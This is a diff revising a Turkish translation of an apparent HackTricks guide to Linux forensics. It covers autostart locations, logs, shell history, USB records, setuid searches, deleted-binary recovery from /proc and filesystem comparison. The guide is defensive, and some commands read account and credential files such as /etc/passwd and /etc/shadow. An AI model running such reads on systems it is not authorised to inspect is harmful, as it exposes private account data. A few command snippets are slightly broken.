-Bu paket yöneticileri dışında manuel olarak veya bunların dışında yüklenen yazılımları ortaya çıkarmak için **_`/usr/local`_**, **_`/opt`_**, **_`/usr/sbin`_**, **_`/usr/bin`_**, **_`/bin`_**, ve **_`/sbin`_** gibi dizinleri keşfedin. Dizin listelerini sistem özel komutlarıyla birleştirerek, bilinen paketlere bağlı olmayan yürütülebilir dosyaları belirlemek için arama sürecinizi geliştirin.
+Bu paket yöneticileri dışında veya manuel olarak yüklenen yazılımları bulmak için _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ ve _**`/sbin`**_ gibi dizinleri keşfedin. Dizin listelerini sistem özel komutlarla birleştirerek, bilinen paketlerle ilişkilendirilmeyen yürütülebilir dosyaları tanımlamak için arama işleminizi geliştirin.
```bash
# Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@@ -202,31 +201,25 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not"
# Find exacuable files
find / -type f -executable | grep
```
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturabilir ve otomatikleştirebilirsiniz.\
+[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-## Silinen Çalışan İkili Dosyaları Kurtarma
+## Silinen Çalışan İkili Dosyaları Kurtarın
-/tmp/exec dizininden çalıştırılan ve silinen bir işlem hayal edin. Bunun çıkarılması mümkündür.
+/tmp/exec dizininden çalıştırılan ve silinen bir işlemi hayal edin. Bu çıkarılabilir.
```bash
cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
```
+## Otomatik Başlatma Konumlarını İnceleyin
+
### Zamanlanmış Görevler
-
-Zamanlanmış görevler, Linux sistemlerde otomatik olarak çalıştırılan görevlerdir. Bu görevler, belirli bir zaman veya olaya bağlı olarak çalıştırılabilir. Zamanlanmış görevlerin listesini görmek için aşağıdaki komutu kullanabilirsiniz:
-
-```bash
-crontab -l
-```
-
-Bu komut, mevcut kullanıcıya ait zamanlanmış görevleri listeler.
```bash
cat /var/spool/cron/crontabs/* \
/var/spool/cron/atjobs \
@@ -242,22 +235,21 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
```
### Hizmetler
-Kötü amaçlı yazılımın hizmet olarak kurulabileceği yollar:
+Bir kötü amaçlı yazılımın yüklenebileceği hizmetlerin bulunduğu yollar:
-- **/etc/inittab**: rc.sysinit gibi başlatma betiklerini çağırarak başlatma betiklerine yönlendirir.
-- **/etc/rc.d/** ve **/etc/rc.boot/**: Hizmet başlatma için betikleri içerir, ikincisi eski Linux sürümlerinde bulunur.
-- **/etc/init.d/**: Debian gibi belirli Linux sürümlerinde başlatma betiklerini depolamak için kullanılır.
-- Hizmetler ayrıca **/etc/inetd.conf** veya **/etc/xinetd/** üzerinden etkinleştirilebilir, Linux varyantına bağlı olarak.
+- **/etc/inittab**: rc.sysinit gibi başlangıç betiklerini çağırır, daha sonra başlangıç betiklerine yönlendirir.
+- **/etc/rc.d/** ve **/etc/rc.boot/**: Hizmet başlatma betiklerini içerir, ikincisi eski Linux sürümlerinde bulunur.
+- **/etc/init.d/**: Debian gibi belirli Linux sürümlerinde başlangıç betiklerini depolamak için kullanılır.
+- Hizmetler ayrıca **/etc/inetd.conf** veya **/etc/xinetd/** üzerinden etkinleştirilebilir, Linux varyantına bağlı olarak değişir.
- **/etc/systemd/system**: Sistem ve hizmet yöneticisi betikleri için bir dizin.
-- **/etc/systemd/system/multi-user.target.wants/**: Çok kullanıcılı bir çalışma düzeyinde başlatılması gereken hizmetlere bağlantılar içerir.
+- **/etc/systemd/system/multi-user.target.wants/**: Çoklu kullanıcı çalışma düzeyinde başlatılması gereken hizmetlere bağlantıları içerir.
- **/usr/local/etc/rc.d/**: Özel veya üçüncü taraf hizmetleri için.
-- **~/.config/autostart/**: Kullanıcıya özgü otomatik başlatma uygulamaları için, kullanıcı hedefli kötü amaçlı yazılım için bir saklanma noktası olabilir.
-- **/lib/systemd/system/**: Kurulu paketler tarafından sağlanan sistem genelinde varsayılan birim dosyalarını içerir.
-
+- **\~/.config/autostart/**: Kullanıcıya özgü otomatik başlatma uygulamaları için, kullanıcı odaklı kötü amaçlı yazılımların gizlenmesi için bir saklanma noktası olabilir.
+- **/lib/systemd/system/**: Kurulu paketler tarafından sağlanan sistem genelinde varsayılan birim dosyaları.
### Çekirdek Modülleri
-Kötü amaçlı yazılım tarafından kök kiti bileşeni olarak sıklıkla kullanılan Linux çekirdek modülleri, sistem başlangıcında yüklenir. Bu modüller için kritik olan dizinler ve dosyalar şunlardır:
+Kötü amaçlı yazılımlar tarafından kök kiti bileşeni olarak sıkça kullanılan Linux çekirdek modülleri, sistem başlangıcında yüklenir. Bu modüller için kritik olan dizinler ve dosyalar şunlardır:
- **/lib/modules/$(uname -r)**: Çalışan çekirdek sürümü için modülleri içerir.
- **/etc/modprobe.d**: Modül yüklemeyi kontrol etmek için yapılandırma dosyalarını içerir.
@@ -265,70 +257,70 @@ Kötü amaçlı yazılım tarafından kök kiti bileşeni olarak sıklıkla kull
### Diğer Otomatik Başlatma Konumları
-Linux, kullanıcı oturumu açıldığında otomatik olarak programları çalıştırmak için çeşitli dosyalar kullanır ve bu dosyalar kötü amaçlı yazılım barındırabilir:
+Linux, kullanıcı oturum açılışında otomatik olarak programları çalıştırmak için çeşitli dosyalar kullanır ve potansiyel olarak kötü amaçlı yazılımları barındırabilir:
-- **/etc/profile.d/***, **/etc/profile** ve **/etc/bash.bashrc**: Her kullanıcı oturumu açıldığında çalıştırılır.
-- **~/.bashrc**, **~/.bash_profile**, **~/.profile** ve **~/.config/autostart**: Kullanıcıya özgü oturum açmalarında çalışan dosyalar.
-- **/etc/rc.local**: Tüm sistem hizmetleri başladıktan sonra çalışır, çok kullanıcılı bir ortama geçişin sonunu işaretler.
+- **/etc/profile.d/**\*, **/etc/profile** ve **/etc/bash.bashrc**: Herhangi bir kullanıcı oturumu açılışında çalıştırılır.
+- **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile** ve **\~/.config/autostart**: Kullanıcıya özgü dosyalar, kullanıcı oturumu açılışlarında çalıştırılır.
+- **/etc/rc.local**: Tüm sistem hizmetleri başladıktan sonra çalışır, çoklu kullanıcı ortamına geçişin sonunu işaretler.
-## Günlükleri İncele
+## Günlükleri İnceleme
-Linux sistemleri, çeşitli günlük dosyaları aracılığıyla kullanıcı etkinliklerini ve sistem olaylarını takip eder. Bu günlükler, yetkisiz erişimi, kötü amaçlı yazılım enfeksiyonlarını ve diğer güvenlik olaylarını tespit etmek için önemlidir. Önemli günlük dosyaları şunları içerir:
+Linux sistemleri, kullanıcı etkinliklerini ve sistem olaylarını çeşitli günlük dosyaları aracılığıyla izler. Bu günlükler, yetkisiz erişimleri, kötü amaçlı yazılım bulaşmalarını ve diğer güvenlik olaylarını tanımlamak için hayati öneme sahiptir. Önemli günlük dosyaları şunları içerir:
-- **/var/log/syslog** (Debian) veya **/var/log/messages** (RedHat): Sistem genelindeki mesajları ve etkinlikleri kaydeder.
-- **/var/log/auth.log** (Debian) veya **/var/log/secure** (RedHat): Kimlik doğrulama girişimlerini, başarılı ve başarısız oturum açmalarını kaydeder.
+- **/var/log/syslog** (Debian) veya **/var/log/messages** (RedHat): Sistem genelindeki mesajları ve etkinlikleri yakalar.
+- **/var/log/auth.log** (Debian) veya **/var/log/secure** (RedHat): Kimlik doğrulama denemelerini, başarılı ve başarısız girişleri kaydeder.
- İlgili kimlik doğrulama olaylarını filtrelemek için `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` komutunu kullanın.
-- **/var/log/boot.log**: Sistem başlatma mesajlarını içerir.
-- **/var/log/maillog** veya **/var/log/mail.log**: E-posta sunucusu etkinliklerini kaydeder, e-posta ile ilgili hizmetleri izlemek için kullanışlıdır.
-- **/var/log/kern.log**: Hata ve uyarılar da dahil olmak üzere çekirdek mesajlarını saklar.
-- **/var/log/dmesg**: Aygıt sürücüsü mesajlarını içerir.
-- **/var/log/faillog**: Başarısız oturum açma girişimlerini kaydeder, güvenlik ihlali soruşturmalarına yardımcı olur.
+- **/var/log/boot.log**: Sistem başlangıç mesajlarını içerir.
+- **/var/log/maillog** veya **/var/log/mail.log**: E-posta sunucusu etkinliklerini kaydeder, e-posta ile ilgili hizmetleri izlemek için faydalıdır.
+- **/var/log/kern.log**: Hata ve uyarıları içeren çekirdek mesajlarını saklar.
+- **/var/log/dmesg**: Aygıt sürücüsü mesajlarını tutar.
+- **/var/log/faillog**: Güvenlik ihlali soruşturmalarına yardımcı olan başarısız giriş denemelerini kaydeder.
- **/var/log/cron**: Cron işi yürütmelerini kaydeder.
-- **/var/log/daemon.log**: Arka planda çalışan hizmet etkinliklerini takip eder.
-- **/var/log/btmp**: Başarısız oturum açma girişimlerini belgeler.
+- **/var/log/daemon.log**: Arka planda çalışan hizmet etkinliklerini izler.
+- **/var/log/btmp**: Başarısız giriş denemelerini belgeler.
- **/var/log/httpd/**: Apache HTTPD hata ve erişim günlüklerini içerir.
- **/var/log/mysqld.log** veya **/var/log/mysql.log**: MySQL veritabanı etkinliklerini kaydeder.
- **/var/log/xferlog**: FTP dosya transferlerini kaydeder.
-- **/var/log/**: Burada beklenmedik günlükler için her zaman kontrol yapın.
+- **/var/log/**: Burada beklenmeyen günlükleri kontrol etmek her zaman önemlidir.
{% hint style="info" %}
-Linux sistem günlükleri ve denetim alt sistemi, bir saldırı veya kötü amaçlı yazılım olayında devre dışı bırakılabilir veya silinebilir. Linux sistemlerindeki günlükler genellikle kötü amaçlı etkinlikler hakkında en kullanışlı bilgileri içerdiğinden, saldırganlar bunları rutin olarak siler. Bu nedenle, mevcut günlük dosyalarını incelemek önemlidir ve silme veya oynama belirtileri olabilecek boşlukları veya sırasız girişleri aramak önemlidir.
+Linux sistem günlükleri ve denetim alt sistemleri, bir sızma veya kötü amaçlı yazılım olayında devre dışı bırakılabilir veya silinebilir. Linux sistemlerinde günlükler genellikle kötü amaçlı etkinlikler hakkında en kullanışlı bilgileri içerdiğinden, sızıntı yapanlar genellikle bunları siler. Bu nedenle, mevcut günlük dosyalarını inceleyerek, silinme veya oynama belirtisi olabilecek boşlukları veya sırasız girişleri aramak önemlidir.
{% endhint %}
-**Linux, her kullanıcı için bir komut geçmişi tutar**, bu geçmiş aşağıdaki dosyalarda saklanır:
+**Linux, her kullanıcı için bir komut geçmişini saklar**, şurada depolanır:
-- ~/.bash_history
-- ~/.zsh_history
-- ~/.zsh_sessions/*
-- ~/.python_history
-- ~/.*_history
+- \~/.bash\_history
+- \~/.zsh\_history
+- \~/.zsh\_sessions/\*
+- \~/.python\_history
+- \~/.\*\_history
-Ayrıca, `last -Faiwx` komutu kullanıcı oturum açmalarının bir listesini sağlar. Bilinmeyen veya beklenmeyen oturum açmaları için kontrol edin.
+Ayrıca, `last -Faiwx` komutu bir kullanıcı girişleri listesi sağlar. Bilinmeyen veya beklenmeyen girişleri kontrol edin.
Ek ayrıcalıklar sağlayabilecek dosyaları kontrol edin:
-- Verilen beklenmeyen kullanıcı ayrıcalıklarını belirlemek için `/etc/sudoers` dosyasını gözden geçirin.
-- Verilen beklenmeyen kullanıcı ayrıcalıklarını belirlemek için `/etc/sudoers.d/` dizinini gözden geçirin.
+- Beklenmedik kullanıcı ayrıcalıklarını belirlemek için `/etc/sudoers` dosyasını inceleyin.
+- Beklenmedik kullanıcı ayrıcalıklarını belirlemek için `/etc/sudoers.d/` dizinini inceleyin.
- Olağandışı grup üyeliklerini veya izinleri belirlemek için `/etc/groups` dosyasını inceleyin.
- Olağandışı grup üyeliklerini veya izinleri belirlemek için `/etc/passwd` dosyasını inceleyin.
Bazı uygulamalar kendi günlüklerini oluşturur:
-- **SSH**: Yetkisiz uzak bağlantıları belirlemek için _~/.ssh/authorized_keys_ ve _~/.ssh/known_hosts_ dosyalarını inceleyin.
-- **Gnome Masaüstü**: Gnome uygulamaları aracılığıyla son zamanlarda erişilen dosyalar için _~/.recently-used.xbel_ dosyasına bakın.
-- **Firefox/Chrome**: Şüpheli etkinlikleri belirlemek için tarayıcı geçmişi ve indirmeleri _~/.mozilla/firefox_ veya _~/.config/google-chrome_ dizininde kontrol edin.
-- **VIM**: Erişilen dosya yolları ve arama geçmişi gibi kullanım ayrıntıları için _~/.viminfo_ dosyasını gözden geçirin.
-- **Open Office**: Kompromize edilmiş dosyaları gösterebilecek son belge erişimlerini kontrol edin.
-- **FTP/SFTP**: Yetkisiz dosya transferleri için _~/.ftp_history_ veya _~/.sftp_history_ günlüklerini inceleyin.
-- **MySQL**: Yetkisiz veritabanı etkinliklerini ortaya çıkarabilecek _~/.mysql_history_ dosyasını araştırın.
-- **Less**: Görüntülenen dosyaları ve yürütülen komutları içeren _~/.lesshst_ dosyasını analiz edin.
-- **Git**: Değişiklikleri belirlemek için _~/.gitconfig_ ve proje _.git/logs_ dosyalarını inceleyin.
+- **SSH**: Yetkisiz uzak bağlantılar için _\~/.ssh/authorized\_keys_ ve _\~/.ssh/known\_hosts_ dosyalarını inceleyin.
+- **Gnome Masaüstü**: Gnome uygulamaları aracılığıyla son erişilen dosyaları bulmak için _\~/.recently-used.xbel_ dosyasına bakın.
+- **Firefox/Chrome**: Şüpheli etkinlikler için tarayıcı geçmişini ve indirmeleri _\~/.mozilla/firefox_ veya _\~/.config/google-chrome_ dizinlerinde kontrol edin.
+- **VIM**: Erişilen dosya yolları ve arama geçmişi gibi kullanım detayları için _\~/.viminfo_ dosyasını inceleyin.
+- **Open Office**: Kompromize uğramış dosyaları gösterebilecek son belge erişimlerini kontrol edin.
+- **FTP/SFTP**: Yetkisiz dosya transferlerini belirlemek için _\~/.ftp\_history_ veya _\~/.sftp\_history_ günlüklerini inceleyin.
+- **MySQL**: Yetkisiz veritabanı etkinliklerini ortaya çıkarabilecek _\~/.mysql\_history_ dosyasını inceleyin.
+- **Less**: Görüntülenen dosyaları ve yürütülen komutları içeren _\~/.lesshst_ dosyasını analiz edin.
+- **Git**: Depolardaki değişiklikleri belirlemek için _\~/.gitconfig_ ve proje _.git/logs_ dosyalarını inceleyin.
### USB Günlükleri
-[**usbrip**](https://github.com/snovvcrash/usbrip), Linux günlük dosyalarını (`/var/log/syslog*` veya dağıtıma bağlı olarak `/var/log/messages*`) USB olay geçmişi tabloları oluşturmak için ayrıştıran, saf Python 3 ile yazılmış küçük bir yazılımdır.
+[**usbrip**](https://github.com/snovvcrash/usbrip), USB olay geçmişi tabloları oluşturmak için Linux günlük dosyalarını (`/var/log/syslog*` veya `/var/log/messages*` dağıtıma bağlı olarak) ayrıştıran saf Python 3 ile yazılmış küçük bir yazılımdır.
-**Kullanılan tüm USB'leri bilmek** ilginç olacaktır ve yetkilendirilmiş bir USB listesine sahipseniz, "ihlal olaylarını" (bu listede olmayan USB'lerin kullanımı) bulmak için daha da kullanışlı olacaktır.
+**Kullanılan tüm USB'leri bilmek** ilginç olacaktır ve yetkili bir USB listesine sahipseniz "ihlal olaylarını" bulmak için daha da faydalı olacaktır (bu listede olmayan USB'lerin kullanımı).
### Kurulum
```bash
@@ -336,88 +328,6 @@ pip3 install usbrip
usbrip ids download #Download USB ID database
```
### Örnekler
-
-#### 1. Disk İmagesi Oluşturma
-
-Bir Linux sistemde disk imajı oluşturmak için `dd` komutunu kullanabilirsiniz. Aşağıdaki komut, `/dev/sda` diskinden bir imaj oluşturur ve `image.dd` adında bir dosyaya kaydeder:
-
-```bash
-dd if=/dev/sda of=image.dd
-```
-
-#### 2. Disk İmagesini İnceleme
-
-Oluşturulan disk imajını incelemek için `file` komutunu kullanabilirsiniz. Aşağıdaki komut, `image.dd` dosyasının türünü ve özelliklerini gösterir:
-
-```bash
-file image.dd
-```
-
-#### 3. İmzaları İnceleme
-
-İmzaları incelemek için `binwalk` aracını kullanabilirsiniz. Aşağıdaki komut, `image.dd` dosyasındaki imzaları gösterir:
-
-```bash
-binwalk image.dd
-```
-
-#### 4. Dosya Sistemini İnceleme
-
-Disk imajındaki dosya sistemini incelemek için `mmls` komutunu kullanabilirsiniz. Aşağıdaki komut, `image.dd` dosyasındaki dosya sistemini gösterir:
-
-```bash
-mmls image.dd
-```
-
-#### 5. Dosyaları İnceleme
-
-Disk imajındaki dosyaları incelemek için `foremost` aracını kullanabilirsiniz. Aşağıdaki komut, `image.dd` dosyasındaki dosyaları kurtarır:
-
-```bash
-foremost -i image.dd -o output_directory
-```
-
-#### 6. Log Dosyalarını İnceleme
-
-Log dosyalarını incelemek için `grep` komutunu kullanabilirsiniz. Aşağıdaki komut, `auth.log` dosyasında belirli bir kelimeyi arar:
-
-```bash
-grep "kelime" auth.log
-```
-
-#### 7. Bellek İmagesini İnceleme
-
-Bellek imajını incelemek için `volatility` aracını kullanabilirsiniz. Aşağıdaki komut, `memdump.mem` dosyasındaki süreçleri ve bağlantıları gösterir:
-
-```bash
-volatility -f memdump.mem imageinfo
-volatility -f memdump.mem pslist
-volatility -f memdump.mem connections
-```
-
-#### 8. Ağ İncelemesi
-
-Ağ trafiğini incelemek için `tcpdump` komutunu kullanabilirsiniz. Aşağıdaki komut, `eth0` arayüzündeki ağ trafiğini kaydeder:
-
-```bash
-tcpdump -i eth0 -w capture.pcap
-```
-
-#### 9. Sistem Günlüklerini İnceleme
-
-Sistem günlüklerini incelemek için `/var/log` dizinindeki günlük dosyalarını kullanabilirsiniz. Aşağıdaki komut, `auth.log` dosyasını görüntüler:
-
-```bash
-cat /var/log/auth.log
-```
-
-#### 10. Kullanıcı İncelemesi
-
-Kullanıcıları incelemek için `/etc/passwd` dosyasını kullanabilirsiniz. Aşağıdaki komut, sistemdeki kullanıcıları gösterir:
-
-```bash
-cat /etc/passwd
-```
```bash
usbrip events history #Get USB history of your curent linux machine
usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user
@@ -425,83 +335,77 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
```
-Daha fazla örnek ve bilgi için github'a bakın: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
+Daha fazla örnek ve bilgi için github içeriğine bakabilirsiniz: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
-
-
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+## Kullanıcı Hesaplarını ve Oturum Etkinliklerini İnceleme
+Bilinen yetkisiz olaylara yakın zamanda oluşturulan veya kullanılan sıradışı isimleri veya hesapları incelemek için _**/etc/passwd**_, _**/etc/shadow**_ ve **güvenlik günlüklerini** kontrol edin. Ayrıca, olası sudo kaba kuvvet saldırılarını kontrol edin.\
+Ayrıca, kullanıcılara verilen beklenmeyen ayrıcalıkları kontrol etmek için _**/etc/sudoers**_ ve _**/etc/groups**_ gibi dosyaları kontrol edin.\
+Son olarak, **şifresiz hesapları** veya **kolayca tahmin edilebilen** şifreleri olan hesapları arayın.
-## Kullanıcı Hesaplarını ve Oturum Açma Etkinliklerini İnceleyin
-
-Bilinen yetkisiz olaylara yakın zamanda oluşturulan veya kullanılan sıradışı isimleri veya hesapları tespit etmek için _**/etc/passwd**_, _**/etc/shadow**_ ve **güvenlik günlüklerini** inceleyin. Ayrıca, olası sudo brute-force saldırılarını kontrol edin.\
-Ayrıca, kullanıcılara verilen beklenmeyen ayrıcalıkları kontrol etmek için _**/etc/sudoers**_ ve _**/etc/groups**_ gibi dosyalara bakın.\
-Son olarak, şifresi olmayan veya kolayca tahmin edilebilen şifrelere sahip hesapları arayın.
-
-## Dosya Sistemi İncelemesi
+## Dosya Sistemi İnceleme
### Zararlı Yazılım İncelemesinde Dosya Sistemi Yapılarını Analiz Etme
-Zararlı yazılım olaylarını incelemek için dosya sistemi yapısı bilgileri önemli bir kaynaktır ve hem olayların sırasını hem de zararlı yazılımın içeriğini ortaya çıkarır. Bununla birlikte, zararlı yazılım yazarları, dosya zaman damgalarını değiştirme veya veri depolama için dosya sisteminden kaçınma gibi analizi engellemek için teknikler geliştirmektedir.
+Zararlı yazılım olaylarını araştırırken, dosya sisteminin yapısı, olayların sıralamasını ve zararlı yazılımın içeriğini ortaya koyan önemli bir bilgi kaynağıdır. Ancak, zararlı yazılım yazarları, dosya zaman damgalarını değiştirme veya veri depolamak için dosya sistemini kullanmaktan kaçınma gibi analizi engelleyen teknikler geliştirmektedir.
Bu anti-forensik yöntemlere karşı koymak için şunlar önemlidir:
-- **Olay zaman çizelgesini görselleştirmek** için **Autopsy** gibi araçları kullanarak kapsamlı bir zaman çizelgesi analizi yapın veya ayrıntılı zaman çizelgesi verileri için **Sleuth Kit'in** `mactime`'ını kullanın.
-- Saldırganlar tarafından kullanılan kabuk veya PHP betiklerini içerebilecek sistemdeki beklenmedik betikleri inceleyin.
-- Geleneksel olarak özel dosyalar içerdiği için **/dev** içindeki tipik olmayan dosyalara bakın, çünkü zararlı yazılım ile ilişkili dosyalar içerebilir.
-- ".. " (nokta nokta boşluk) veya "..^G" (nokta nokta kontrol-G) gibi isimlere sahip **gizli dosyaları veya dizinleri arayın**, bunlar zararlı içeriği gizleyebilir.
-- Aşağıdaki komutu kullanarak **setuid root dosyalarını** belirleyin:
-```find / -user root -perm -04000 -print```
-Bu, saldırganlar tarafından kötüye kullanılabilecek yükseltilmiş izinlere sahip dosyaları bulur.
-- Kök kiti veya truva atlarının varlığını gösterebilecek toplu dosya silmelerini tespit etmek için inode tablolarındaki silme zaman damgalarını **inceleyin**.
-- Bir tane belirledikten sonra yakındaki zararlı dosyaları tespit etmek için ardışık inode'ları **inceleyin**, çünkü birlikte yerleştirilmiş olabilirler.
-- Zararlı yazılım tarafından değiştirilmiş olabileceği için **/bin_, _/sbin_ gibi yaygın ikili dizinleri** son zamanlarda değiştirilen dosyalar için kontrol edin.
-```bash
+* **Olay zaman çizelgesi analizi** yapmak için **Autopsy** gibi araçları kullanarak detaylı zaman çizelgesi verileri için **Sleuth Kit's** `mactime` kullanın.
+* Saldırganlar tarafından kullanılan kabuk veya PHP betiklerini içerebilecek sistem $PATH'indeki **beklenmeyen betikleri** inceleyin.
+* **/dev** içindeki tipik olmayan dosyaları inceleyin, genellikle özel dosyalar içerir ancak zararlı yazılımla ilişkili dosyaları içerebilir.
+* ".. " (nokta nokta boşluk) veya "..^G" (nokta nokta kontrol-G) gibi adlara sahip **gizli dosyaları veya dizinleri** arayın, bu dosyalar kötü amaçlı içeriği gizleyebilir.
+* `find / -user root -perm -04000 -print` komutunu kullanarak **setuid root dosyalarını** belirleyin. Bu, saldırganlar tarafından kötüye kullanılabilecek yükseltilmiş izinlere sahip dosyaları bulur.
+* Kök kiti veya truva atları varlığını gösterebilecek **kütle dosya silmelerini** belirlemek için inode tablolarındaki silme zaman damgalarını inceleyin.
+* Bir tane belirledikten sonra yakındaki kötü amaçlı dosyaları içeren **ardışık inode'ları** inceleyin, çünkü bunlar birlikte yerleştirilmiş olabilir.
+* **Son zamanlarda değiştirilmiş dosyaları** belirlemek için yaygın ikili dizinleri (_/bin_, _/sbin_) kontrol edin, çünkü bunlar zararlı yazılım tarafından değiştirilmiş olabilir.
+````bash
# List recent files in a directory:
ls -laR --sort=time /bin```
# Sort files in a directory by inode:
ls -lai /bin | sort -n```
-```
+````
{% hint style="info" %}
-Not: Bir **saldırgan**, **dosyaların görünümünü meşru** göstermek için **zamanı değiştirebilir**, ancak **inode**'u değiştiremez. Bir **dosyanın**, aynı klasördeki diğer dosyalarla aynı **zamanda oluşturulduğunu ve değiştirildiğini gösterdiği**, ancak **inode**'un **beklenmedik şekilde daha büyük olduğu** durumda, o dosyanın **zaman damgalarının değiştirildiği** anlaşılır.
+**Saldırgan**, dosyaları **meşru görünmesi** için **zamanı değiştirebilir**, ancak **inode**'u değiştiremez. Eğer bir **dosyanın** aynı klasördeki diğer dosyalarla aynı zamanda **oluşturulduğunu ve değiştirildiğini** gösterdiğini fakat **inode**'un **beklenmedik şekilde daha büyük** olduğunu fark ederseniz, o dosyanın **zaman damgaları değiştirilmiş** demektir.
{% endhint %}
-## Farklı dosya sistem sürümlerini karşılaştırma
+## Farklı dosya sistem sürümlerini karşılaştırın
### Dosya Sistem Sürümü Karşılaştırma Özeti
-Dosya sistem sürümlerini karşılaştırmak ve değişiklikleri belirlemek için basitleştirilmiş `git diff` komutlarını kullanırız:
+Değişiklikleri belirlemek ve dosya sistem sürümlerini karşılaştırmak için basitleştirilmiş `git diff` komutlarını kullanırız:
-- **Yeni dosyaları bulmak** için iki dizini karşılaştırın:
+* **Yeni dosyaları bulmak** için iki dizini karşılaştırın:
```bash
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
```
-- **Değiştirilmiş içerik için**, belirli satırları görmezden gelerek değişiklikleri listeleyin:
+* **Değiştirilmiş içerik için**, belirli satırları yok sayarak değişiklikleri listeleyin:
```bash
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
```
-- **Silinmiş dosyaları tespit etmek için**:
+* **Silinmiş dosyaları tespit etmek için**:
```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
```
-- **Filtre seçenekleri** (`--diff-filter`), eklenen (`A`), silinen (`D`) veya değiştirilen (`M`) dosyalar gibi belirli değişikliklere odaklanmayı sağlar.
-- `A`: Eklenen dosyalar
-- `C`: Kopyalanan dosyalar
-- `D`: Silinen dosyalar
-- `M`: Değiştirilen dosyalar
-- `R`: Yeniden adlandırılan dosyalar
-- `T`: Tür değişiklikleri (örneğin, dosyadan sembole)
-- `U`: Birleştirilmemiş dosyalar
-- `X`: Bilinmeyen dosyalar
-- `B`: Bozuk dosyalar
+* **Filtre seçenekleri** (`--diff-filter`), eklenen (`A`), silinen (`D`) veya değiştirilen (`M`) dosyalar gibi belirli değişikliklere odaklanmayı sağlar.
+* `A`: Eklenen dosyalar
+* `C`: Kopyalanan dosyalar
+* `D`: Silinen dosyalar
+* `M`: Değiştirilen dosyalar
+* `R`: Yeniden adlandırılan dosyalar
+* `T`: Tür değişiklikleri (ör. dosyadan sembolik bağlantıya)
+* `U`: Birleştirilmemiş dosyalar
+* `X`: Bilinmeyen dosyalar
+* `B`: Bozuk dosyalar
## Referanslar
@@ -512,22 +416,22 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
-AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek içinhtARTE (HackTricks AWS Red Team Expert)'ı öğrenin!
+Sıfırdan başlayarak AWS hacklemeyihtARTE (HackTricks AWS Red Team Expert) ile öğrenin!
-**Bir siber güvenlik şirketinde mi çalışıyorsunuz?** **Şirketinizi HackTricks'te reklamını görmek ister misiniz?** veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+**Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizi **HackTricks'te reklamını görmek** ister misiniz? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuz olan [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) keşfedin.
-* [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) göz atın.
-* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**.
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
+* [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) sahip olun
+* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** takip edin.
-**Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın**.
